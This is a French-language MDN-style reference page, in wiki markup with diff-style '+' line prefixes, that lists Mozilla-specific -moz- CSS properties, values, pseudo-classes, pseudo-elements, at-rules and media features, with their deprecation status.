Les applications Mozilla, telles que Firefox, prennent en charge un certain nombre d'extensions spécifiques à CSS : des propriétés, des valeurs, des pseudo-éléments, des pseudo-classes, des règles @ et des requêtes média. Ces extensions utilisent le préfixe -moz.

+ +

Propriétés et pseudo-classes spécifiques à Mozilla (ne pas utiliser sur le Web)

+ +
+

Note : Ces propriétés et pseudo-classes ne fonctionneront que pour les applications Mozilla (Firefox par exemple) et ne sont pas en voie de standardisation. Certaines ne s'applique qu'aux éléments XUL.

+
+ +
+

B

+ +
    +
  • {{CSSxRef("-moz-binding")}} {{Deprecated_Inline}}
    • +
  • {{CSSxRef("-moz-border-bottom-colors")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-moz-border-left-colors")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-moz-border-right-colors")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-moz-border-top-colors")}} {{Obsolete_Inline}}
    • +
  • {{CSSxRef("-moz-box-align")}}
    • +
  • {{CSSxRef("-moz-box-direction")}}
    • +
  • {{CSSxRef("-moz-box-flex")}}
    • +
  • {{CSSxRef("-moz-box-ordinal-group")}}
    • +
  • {{CSSxRef("-moz-box-orient")}}
    • +
  • {{CSSxRef("-moz-box-pack")}}
    • +
+ +

C – I

+ +
    +
  • {{CSSxRef("-moz-context-properties")}}
    • +
  • {{CSSxRef("-moz-float-edge")}}
    • +
  • {{CSSxRef("-moz-force-broken-image-icon")}}
    • +
  • {{CSSxRef("-moz-image-region")}}
    • +
+ +

O

+ +
    +
  • {{CSSxRef("-moz-orient")}}
    • +
  • {{CSSxRef("-moz-osx-font-smoothing")}}
    • +
  • {{CSSxRef("-moz-outline-radius")}}
    • +
  • {{CSSxRef("-moz-outline-radius-bottomleft")}}
    • +
  • {{CSSxRef("-moz-outline-radius-bottomright")}}
    • +
  • {{CSSxRef("-moz-outline-radius-topleft")}}
    • +
  • {{CSSxRef("-moz-outline-radius-topright")}}
    • +
  • {{CSSxRef("overflow-clip-box")}}
    • +
  • {{CSSxRef("overflow-clip-box-block")}}
    • +
  • {{CSSxRef("overflow-clip-box-inline")}}
    • +
+ +

S – Z

+ +
    +
  • {{CSSxRef("-moz-stack-sizing")}}
    • +
  • {{CSSxRef(":-moz-system-metric(images-in-menus)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-system-metric(mac-graphite-theme)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.1")}}
    • +
  • {{CSSxRef(":-moz-system-metric(scrollbar-end-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-system-metric(scrollbar-end-forward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-system-metric(scrollbar-start-backward)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-system-metric(scrollbar-start-forward)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}
    • +
  • {{CSSxRef(":-moz-system-metric(scrollbar-thumb-proportional)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-system-metric(touch-enabled)")}} {{Obsolete_Inline}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef(":-moz-system-metric(windows-default-theme)")}} {{Obsolete_Inline}}{{Fx_minversion_inline(3)}}
    • +
  • {{CSSxRef("-moz-user-focus")}}
    • +
  • {{CSSxRef("-moz-user-input")}}
    • +
  • {{CSSxRef("-moz-user-modify")}}
    • +
  • {{CSSxRef("-moz-window-dragging")}}
    • +
  • {{CSSxRef("-moz-window-shadow")}}
    • +
+
+ +

Anciennes propriétés spécifiques, désormais standardisées

+ +
+

Note : Afin d'obtenir la meilleure compatibilité possible, vous devriez utiliser les versions standards, non-préfixées, de ces propriétés plutôt que les versions spécifiques. Généralement, lorsqu'une propriété est standardisée et implémentée, la version préfixée est généralement abandonnée ensuite.

+
+ +
+
    +
  • +

    A

    +
    • +
  • {{CSSxRef("animation", "-moz-animation")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-delay", "-moz-animation-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-direction", "-moz-animation-direction")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-duration", "-moz-animation-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-fill-mode", "-moz-animation-fill-mode")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-iteration-count", "-moz-animation-iteration-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-name", "-moz-animation-name")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-play-state", "-moz-animation-play-state")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("animation-timing-function","-moz-animation-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("appearance","-moz-appearance")}} {{Experimental_Inline}}
    • +
  • +

    B

    +
    • +
  • {{CSSxRef("backface-visibility", "-moz-backface-visibility")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("background-clip", "-moz-background-clip")}}{{Obsolete_Inline(2)}}
    • +
  • {{CSSxRef("background-origin", "-moz-background-origin")}}{{Obsolete_Inline(2)}}
    • +
  • {{CSSxRef("-moz-background-inline-policy")}}{{Obsolete_Inline(32)}} [Remplacée par la version standard {{CSSxRef("box-decoration-break")}}]
    • +
  • {{CSSxRef("background-size", "-moz-background-size")}}{{Obsolete_Inline(2)}}
    • +
  • {{CSSxRef("border-inline-end","-moz-border-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end")}}]
    • +
  • {{CSSxRef("border-inline-color","-moz-border-end-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-color")}}]
    • +
  • {{CSSxRef("border-inline-style","-moz-border-end-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-style")}}]
    • +
  • {{CSSxRef("border-inline-width","-moz-border-end-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-end-width")}}]
    • +
  • {{CSSxRef("border-image","-moz-border-image")}} {{Deprecated_Inline}}
    • +
  • {{CSSxRef("border-inline-start","-moz-border-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start")}}]
    • +
  • {{CSSxRef("border-inline-start-color","-moz-border-start-color")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-color")}}]
    • +
  • {{CSSxRef("border-inline-start-style","-moz-border-start-style")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-style")}}]
    • +
  • {{CSSxRef("border-inline-start-width","-moz-border-start-width")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("border-inline-start-width")}}]
    • +
  • {{CSSxRef("box-sizing", "-moz-box-sizing")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • +

    C

    +
    • +
  • {{CSSxRef("clip-path")}} {{Experimental_Inline}} [Applying to more than SVG]
    • +
  • {{CSSxRef("column-count","-moz-column-count")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-fill","-moz-column-fill")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-gap","-moz-column-gap")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-width","-moz-column-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-rule","-moz-column-rule")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-rule-width","-moz-column-rule-width")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-rule-style","-moz-column-rule-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("column-rule-color","-moz-column-rule-color")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("-moz-context-properties")}} {{Experimental_Inline}}
    • +
  • +

    F – M

    +
    • +
  • {{CSSxRef("filter")}} {{Experimental_Inline}} [Applying to more than SVG]
    • +
  • {{CSSxRef("font-feature-settings","-moz-font-feature-settings")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("font-language-override","-moz-font-language-override")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("hyphens","-moz-hyphens")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("margin-inline-end","-moz-margin-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-end")}}]
    • +
  • {{CSSxRef("margin-inline-start","-moz-margin-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("margin-inline-start")}}]
    • +
  • {{CSSxRef("mask")}} {{Experimental_Inline}} [Applying to more than SVG]
    • +
  • +

    O

    +
    • +
  • {{CSSxRef("opacity","-moz-opacity")}}{{Obsolete_Inline("1.9.1")}}
    • +
  • {{CSSxRef("outline","-moz-outline")}}{{Obsolete_Inline("1.9.2")}}
    • +
  • {{CSSxRef("outline-color","-moz-outline-color")}}{{Obsolete_Inline("1.9.2")}}
    • +
  • {{CSSxRef("outline-offset","-moz-outline-offset")}}{{Obsolete_Inline("1.9.2")}}
    • +
  • {{CSSxRef("outline-style","-moz-outline-style")}}{{Obsolete_Inline("1.9.2")}}
    • +
  • {{CSSxRef("outline-width","-moz-outline-width")}}{{Obsolete_Inline("1.9.2")}}
    • +
  • +

    P

    +
    • +
  • {{CSSxRef("padding-inline-end","-moz-padding-end")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-start")}}]
    • +
  • {{CSSxRef("padding-inline-start","-moz-padding-start")}} {{Deprecated_Inline}} [Remplacée par la version standard {{CSSxRef("padding-inline-end")}}]
    • +
  • {{CSSxRef("perspective", "-moz-perspective")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("perspective-origin","-moz-perspective-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("pointer-events")}} {{Experimental_Inline}} [Applying to more than SVG]
    • +
  • +

    T – U

    +
    • +
  • {{CSSxRef("tab-size","-moz-tab-size")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("text-align-last","-moz-text-align-last")}}{{Obsolete_Inline("53")}}
    • +
  • {{CSSxRef("text-decoration-color","-moz-text-decoration-color")}}{{Obsolete_Inline("39")}}
    • +
  • {{CSSxRef("text-decoration-line","-moz-text-decoration-line")}}{{Obsolete_Inline("39")}}
    • +
  • {{CSSxRef("text-decoration-style","-moz-text-decoration-style")}}{{Obsolete_Inline("39")}}
    • +
  • {{CSSxRef("text-size-adjust","-moz-text-size-adjust")}} {{Experimental_Inline}}
    • +
  • {{CSSxRef("transform", "-moz-transform")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transform-origin", "-moz-transform-origin")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transform-style", "-moz-transform-style")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transition", "-moz-transition")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transition-delay", "-moz-transition-delay")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transition-duration", "-moz-transition-duration")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transition-property", "-moz-transition-property")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("transition-timing-function", "-moz-transition-timing-function")}} {{Deprecated_Inline}} [Version préfixée toujours acceptée]
    • +
  • {{CSSxRef("user-select","-moz-user-select")}} {{Experimental_Inline}}
    • +
+
+ +

Valeurs

+ +

Valeurs globales

+ +
+
    +
  • {{cssxref("initial","-moz-initial")}}
    • +
+
+ +

{{Cssxref("-moz-appearance")}}

+ +
+
    +
  • button
    • +
  • button-arrow-down
    • +
  • button-arrow-next
    • +
  • button-arrow-previous
    • +
  • button-arrow-up
    • +
  • button-bevel
    • +
  • checkbox
    • +
  • checkbox-container
    • +
  • checkbox-label
    • +
  • checkmenuitem
    • +
  • dialog
    • +
  • groupbox
    • +
  • listbox
    • +
  • menuarrow
    • +
  • menucheckbox
    • +
  • menuimage
    • +
  • menuitem
    • +
  • menuitemtext
    • +
  • menulist
    • +
  • menulist-button
    • +
  • menulist-text
    • +
  • menulist-textfield
    • +
  • menupopup
    • +
  • menuradio
    • +
  • menuseparator
    • +
  • -moz-mac-unified-toolbar{{Fx_minversion_inline(3.5)}}
    • +
  • -moz-win-borderless-glass
    • +
  • -moz-win-browsertabbar-toolbox{{Fx_minversion_inline(3)}}
    • +
  • -moz-win-communications-toolbox{{Fx_minversion_inline(3)}}
    • +
  • -moz-win-glass
    • +
  • -moz-win-media-toolbox{{Fx_minversion_inline(3)}}
    • +
  • -moz-window-button-box
    • +
  • -moz-window-button-box-maximized
    • +
  • -moz-window-button-close
    • +
  • -moz-window-button-maximize
    • +
  • -moz-window-button-minimize
    • +
  • -moz-window-button-restore
    • +
  • -moz-window-titlebar
    • +
  • -moz-window-titlebar-maximized
    • +
  • progressbar
    • +
  • progresschunk
    • +
  • radio
    • +
  • radio-container
    • +
  • radio-label
    • +
  • radiomenuitem
    • +
  • resizer
    • +
  • resizerpanel
    • +
  • scale-horizontal
    • +
  • scalethumb-horizontal
    • +
  • scalethumb-vertical
    • +
  • scale-vertical
    • +
  • scrollbarbutton-down
    • +
  • scrollbarbutton-left
    • +
  • scrollbarbutton-right
    • +
  • scrollbarbutton-up
    • +
  • scrollbar-small
    • +
  • scrollbarthumb-horizontal
    • +
  • scrollbarthumb-vertical
    • +
  • scrollbartrack-horizontal
    • +
  • scrollbartrack-vertical
    • +
  • separator
    • +
  • spinner
    • +
  • spinner-downbutton
    • +
  • spinner-textfield
    • +
  • spinner-upbutton
    • +
  • statusbar
    • +
  • statusbarpanel
    • +
  • tab
    • +
  • tabpanels
    • +
  • tab-scroll-arrow-back
    • +
  • tab-scroll-arrow-forward
    • +
  • textfield
    • +
  • textfield-multiline
    • +
  • toolbar
    • +
  • toolbarbutton-dropdown
    • +
  • toolbox
    • +
  • tooltip
    • +
  • treeheadercell
    • +
  • treeheadersortarrow
    • +
  • treeitem
    • +
  • treetwisty
    • +
  • treetwistyopen
    • +
  • treeview
    • +
  • window
    • +
+
+ +

{{cssxref("background-image")}}

+ +
+
    +
  • +

    Dégradés {{Gecko_minversion_inline("1.9.2")}}

    + +
      +
    • {{CSSxRef("linear-gradient","-moz-linear-gradient")}} {{Deprecated_Inline}}
      • +
    • {{CSSxRef("radial-gradient","-moz-radial-gradient")}} {{Deprecated_Inline}}
      • +
    +
    • +
  • +

    Éléments {{gecko_minversion_inline("2.0")}}

    + +
      +
    • {{cssxref("-moz-element")}}
      • +
    +
    • +
  • +

    Sub-images {{gecko_minversion_inline("2.0")}}

    + +
      +
    • {{cssxref("-moz-image-rect")}}
      • +
    +
    • +
+
+ +

{{Cssxref("border-color")}}

+ +
+
    +
  • -moz-use-text-color {{obsolete_inline}} retiré de Gecko (cf. {{bug(1306214)}}) ; currentcolor doit être utilisée à la place.
    • +
+
+ +

{{Cssxref("border-style")}} et {{Cssxref("outline-style")}}

+ +
+
    +
  • -moz-bg-inset{{Obsolete_Inline(1.9)}}
    • +
  • -moz-bg-outset{{Obsolete_Inline(1.9)}}
    • +
  • -moz-bg-solid{{Obsolete_Inline(1.9)}}
    • +
+
+ +

Mots-clés pour {{cssxref("<color>")}}

+ +
+
    +
  • -moz-activehyperlinktext
    • +
  • -moz-hyperlinktext
    • +
  • -moz-visitedhyperlinktext
    • +
  • -moz-buttondefault
    • +
  • -moz-buttonhoverface
    • +
  • -moz-buttonhovertext
    • +
  • -moz-default-background-color{{Gecko_minversion_inline("5.0")}}
    • +
  • -moz-default-color{{Gecko_minversion_inline("5.0")}}
    • +
  • -moz-cellhighlight
    • +
  • -moz-cellhighlighttext
    • +
  • -moz-field
    • +
  • -moz-fieldtext
    • +
  • -moz-dialog
    • +
  • -moz-dialogtext
    • +
  • -moz-dragtargetzone
    • +
  • -moz-mac-accentdarkestshadow
    • +
  • -moz-mac-accentdarkshadow
    • +
  • -moz-mac-accentface
    • +
  • -moz-mac-accentlightesthighlight
    • +
  • -moz-mac-accentlightshadow
    • +
  • -moz-mac-accentregularhighlight
    • +
  • -moz-mac-accentregularshadow
    • +
  • -moz-mac-chrome-active{{Gecko_minversion_inline("1.9.1")}}
    • +
  • -moz-mac-chrome-inactive{{Gecko_minversion_inline("1.9.1")}}
    • +
  • -moz-mac-focusring
    • +
  • -moz-mac-menuselect
    • +
  • -moz-mac-menushadow
    • +
  • -moz-mac-menutextselect
    • +
  • -moz-menuhover
    • +
  • -moz-menuhovertext
    • +
  • -moz-win-communicationstext{{Fx_minversion_inline(3)}}
    • +
  • -moz-win-mediatext{{gecko_minversion_inline(1.9)}}
    • +
  • -moz-nativehyperlinktext{{Gecko_minversion_inline("1.9.1")}}
    • +
+
+ +

{{Cssxref("display")}}

+ +
+
    +
  • -moz-box {{Deprecated_Inline}}
    • +
  • -moz-inline-block {{Obsolete_Inline}}
    • +
  • -moz-inline-box {{Deprecated_Inline}}
    • +
  • -moz-inline-grid{{Obsolete_Inline(62)}}
    • +
  • -moz-inline-stack{{Obsolete_Inline(62)}}
    • +
  • -moz-inline-table {{Obsolete_Inline}}
    • +
  • -moz-grid{{Obsolete_Inline(62)}}
    • +
  • -moz-grid-group{{Obsolete_Inline(62)}}
    • +
  • -moz-grid-line{{Obsolete_Inline(62)}}
    • +
  • -moz-groupbox{{Obsolete_Inline}}
    • +
  • -moz-deck{{Obsolete_Inline(62)}}
    • +
  • -moz-popup{{Obsolete_Inline(62)}}
    • +
  • -moz-stack{{Obsolete_Inline(62)}}
    • +
  • -moz-marker{{Obsolete_Inline(62)}}
    • +
+
+ +

{{cssxref("empty-cells")}}

+ +
+
    +
  • -moz-show-background (valeur par défaut en quirks mode)
    • +
+
+ +

{{Cssxref("font")}}

+ +
+
    +
  • -moz-button
    • +
  • -moz-info
    • +
  • -moz-desktop
    • +
  • -moz-dialog (également une couleur)
    • +
  • -moz-document
    • +
  • -moz-workspace
    • +
  • -moz-window
    • +
  • -moz-list
    • +
  • -moz-pull-down-menu
    • +
  • -moz-field (également une couleur)
    • +
+
+ +

{{Cssxref("font-family")}}

+ +
+
    +
  • -moz-fixed
    • +
+
+ +

{{Cssxref("image-rendering")}}

+ +
+
    +
  • {{Cssxref("image-rendering","-moz-crisp-edges")}} {{Gecko_minversion_inline("1.9.2")}}
    • +
+
+ +

{{cssxref("<length>")}}

+ +
+
    +
  • {{cssxref("-moz-calc")}} {{gecko_minversion_inline("2.0")}}
    • +
+
+ +

{{Cssxref("list-style-type")}}

+ +
+
    +
  • -moz-arabic-indic
    • +
  • -moz-bengali
    • +
  • -moz-cjk-earthly-branch
    • +
  • -moz-cjk-heavenly-stem
    • +
  • -moz-devanagari
    • +
  • -moz-ethiopic-halehame
    • +
  • -moz-ethiopic-halehame-am
    • +
  • -moz-ethiopic-halehame-ti-er
    • +
  • -moz-ethiopic-halehame-ti-et
    • +
  • -moz-ethiopic-numeric
    • +
  • -moz-gujarati
    • +
  • -moz-gurmukhi
    • +
  • -moz-hangul
    • +
  • -moz-hangul-consonant
    • +
  • -moz-japanese-formal
    • +
  • -moz-japanese-informal
    • +
  • -moz-kannada
    • +
  • -moz-khmer
    • +
  • -moz-lao
    • +
  • -moz-malayalam
    • +
  • -moz-myanmar
    • +
  • -moz-oriya
    • +
  • -moz-persian
    • +
  • -moz-simp-chinese-formal
    • +
  • -moz-simp-chinese-informal
    • +
  • -moz-tamil
    • +
  • -moz-telugu
    • +
  • -moz-thai
    • +
  • -moz-trad-chinese-formal
    • +
  • -moz-trad-chinese-informal
    • +
  • -moz-urdu
    • +
+
+ +

{{Cssxref("overflow")}}

+ +
+
    +
  • {{Cssxref("-moz-scrollbars-none")}} {{obsolete_inline}}
    • +
  • {{Cssxref("-moz-scrollbars-horizontal")}} {{Deprecated_inline}}
    • +
  • {{Cssxref("-moz-scrollbars-vertical")}} {{Deprecated_inline}}
    • +
  • {{Cssxref("-moz-hidden-unscrollable")}}
    • +
+
+ +

{{Cssxref("text-align")}}

+ +
+
    +
  • -moz-center
    • +
  • -moz-left
    • +
  • -moz-right
    • +
+
+ +

{{Cssxref("text-decoration")}}

+ +
+
    +
  • -moz-anchor-decoration
    • +
+
+ +

{{Cssxref("-moz-user-select")}}

+ +
+
    +
  • -moz-all
    • +
  • -moz-none
    • +
+
+ +

{{Cssxref("width")}}, {{Cssxref("min-width")}}, and {{Cssxref("max-width")}}

+ +
+
    +
  • -moz-min-content {{Fx_minversion_inline(3)}}
    • +
  • -moz-fit-content {{Fx_minversion_inline(3)}}
    • +
  • -moz-max-content {{Fx_minversion_inline(3)}}
    • +
  • -moz-available {{Fx_minversion_inline(3)}}
    • +
+
+ +

Pseudo-éléments et pseudo-classes

+ +
+
    +
  • +

    A – D

    +
    • +
  • {{CSSxRef("::-moz-anonymous-block")}} eg@:- bug 331432
    • +
  • {{CSSxRef("::-moz-anonymous-positioned-block")}}
    • +
  • {{CSSxRef(":-moz-any")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-any-link")}} [Matches :link and :visited]
    • +
  • {{CSSxRef(":-moz-broken")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef("::-moz-canvas")}}
    • +
  • {{CSSxRef("::-moz-color-swatch")}}
    • +
  • {{CSSxRef("::-moz-cell-content")}}
    • +
  • {{CSSxRef(":-moz-drag-over")}}
    • +
  • +

    F – I

    +
    • +
  • {{CSSxRef(":-moz-first-node")}}
    • +
  • {{CSSxRef("::-moz-focus-inner")}}
    • +
  • {{CSSxRef("::-moz-focus-outer")}}
    • +
  • {{CSSxRef(":-moz-focusring")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-full-screen")}}{{gecko_minversion_inline("9.0")}}
    • +
  • {{CSSxRef(":-moz-full-screen-ancestor")}}{{gecko_minversion_inline("10.0")}}
    • +
  • {{CSSxRef(":-moz-handler-blocked")}}{{gecko_minversion_inline("1.9.1")}}
    • +
  • {{CSSxRef(":-moz-handler-crashed")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-handler-disabled")}}{{gecko_minversion_inline("1.9.1")}}
    • +
  • {{CSSxRef("::-moz-inline-table")}}
    • +
  • +

    L

    +
    • +
  • {{CSSxRef(":-moz-last-node")}}
    • +
  • {{CSSxRef(":-moz-list-bullet")}}
    • +
  • {{CSSxRef(":-moz-list-number")}}
    • +
  • {{CSSxRef(":-moz-loading")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-locale-dir(ltr)")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef(":-moz-locale-dir(rtl)")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef(":-moz-lwtheme")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef(":-moz-lwtheme-brighttext")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef(":-moz-lwtheme-darktext")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • +

    N – R

    +
    • +
  • {{CSSxRef(":-moz-native-anonymous")}}{{gecko_minversion_inline("36")}}
    • +
  • {{CSSxRef(":-moz-only-whitespace")}}
    • +
  • {{CSSxRef("::-moz-page")}}
    • +
  • {{CSSxRef("::-moz-page-sequence")}}
    • +
  • {{CSSxRef("::-moz-pagebreak")}}
    • +
  • {{CSSxRef("::-moz-pagecontent")}}
    • +
  • {{CSSxRef(":-moz-placeholder")}}{{gecko_minversion_inline("1.9")}}{{Obsolete_Inline("51")}}
    • +
  • {{CSSxRef("::-moz-placeholder")}}{{gecko_minversion_inline("19")}}{{Deprecated_Inline("51")}}
    • +
  • {{CSSxRef("::-moz-progress-bar")}}
    • +
  • {{CSSxRef("::-moz-range-progress")}}
    • +
  • {{CSSxRef("::-moz-range-thumb")}}
    • +
  • {{CSSxRef("::-moz-range-track")}}
    • +
  • {{CSSxRef(":-moz-read-only")}}
    • +
  • {{CSSxRef(":-moz-read-write")}}
    • +
  • +

    S

    +
    • +
  • {{CSSxRef("::-moz-scrolled-canvas")}}
    • +
  • {{CSSxRef("::-moz-scrolled-content")}}
    • +
  • {{CSSxRef("::-moz-scrolled-page-sequence")}}
    • +
  • {{CSSxRef("::selection","::-moz-selection")}}{{Deprecated_Inline(62)}}
    • +
  • {{CSSxRef(":-moz-submit-invalid")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-suppressed")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef("::-moz-svg-foreign-content")}}
    • +
  • +

    T

    +
    • +
  • {{CSSxRef("::-moz-table")}}
    • +
  • {{CSSxRef("::-moz-table-cell")}}
    • +
  • {{CSSxRef("::-moz-table-column")}}
    • +
  • {{CSSxRef("::-moz-table-column-group")}}
    • +
  • {{CSSxRef("::-moz-table-outer")}}
    • +
  • {{CSSxRef("::-moz-table-row")}}
    • +
  • {{CSSxRef("::-moz-table-row-group")}}
    • +
  • {{CSSxRef(":-moz-tree-cell")}}
    • +
  • {{CSSxRef(":-moz-tree-cell-text")}}
    • +
  • {{CSSxRef(":-moz-tree-cell-text(hover)")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-tree-checkbox")}}
    • +
  • {{CSSxRef(":-moz-tree-column")}}
    • +
  • {{CSSxRef(":-moz-tree-drop-feedback")}}
    • +
  • {{CSSxRef(":-moz-tree-image")}}
    • +
  • {{CSSxRef(":-moz-tree-indentation")}}
    • +
  • {{CSSxRef(":-moz-tree-line")}}
    • +
  • {{CSSxRef(":-moz-tree-progressmeter")}}
    • +
  • {{CSSxRef(":-moz-tree-row")}}
    • +
  • {{CSSxRef(":-moz-tree-row(hover)")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef(":-moz-tree-separator")}}
    • +
  • {{CSSxRef(":-moz-tree-twisty")}}
    • +
  • +

    U – X

    +
    • +
  • {{CSSxRef(":-moz-ui-invalid")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-ui-valid")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef(":-moz-user-disabled")}}{{gecko_minversion_inline("1.9")}}
    • +
  • {{CSSxRef("::-moz-viewport")}}
    • +
  • {{CSSxRef("::-moz-viewport-scroll")}}
    • +
  • {{CSSxRef(":-moz-window-inactive")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef("::-moz-xul-anonymous-block")}}
    • +
+
+ +

Règles @

+ +
+
    +
  • {{Cssxref("@-moz-document")}}
    • +
+
+ +

Caractéristiques

+ +
+
    +
  • {{CSSxRef("@media/-moz-mac-graphite-theme", "-moz-mac-graphite-theme")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-maemo-classic", "-moz-maemo-classic")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-device-pixel-ratio", "-moz-device-pixel-ratio")}}{{gecko_minversion_inline("2.0")}}
    • +
  • {{CSSxRef("@media/-moz-os-version", "-moz-os-version")}}
    • +
  • {{CSSxRef("@media/-moz-scrollbar-end-backward", "-moz-scrollbar-end-backward")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-scrollbar-end-forward", "-moz-scrollbar-end-forward")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-scrollbar-start-backward", "-moz-scrollbar-start-backward")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-scrollbar-start-forward", "-moz-scrollbar-start-forward")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-scrollbar-thumb-proportional", "-moz-scrollbar-thumb-proportional")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-touch-enabled", "-moz-touch-enabled")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-windows-accent-color-in-titlebar", "-moz-windows-accent-color-in-titlebar")}}
    • +
  • {{CSSxRef("@media/-moz-windows-classic", "-moz-windows-classic")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-windows-compositor", "-moz-windows-compositor")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-windows-default-theme", "-moz-windows-default-theme")}}{{gecko_minversion_inline("1.9.2")}}
    • +
  • {{CSSxRef("@media/-moz-windows-glass", "-moz-windows-glass")}}
    • +
  • {{CSSxRef("@media/-moz-windows-theme", "-moz-windows-theme")}}{{gecko_minversion_inline("2.0")}}
    • +
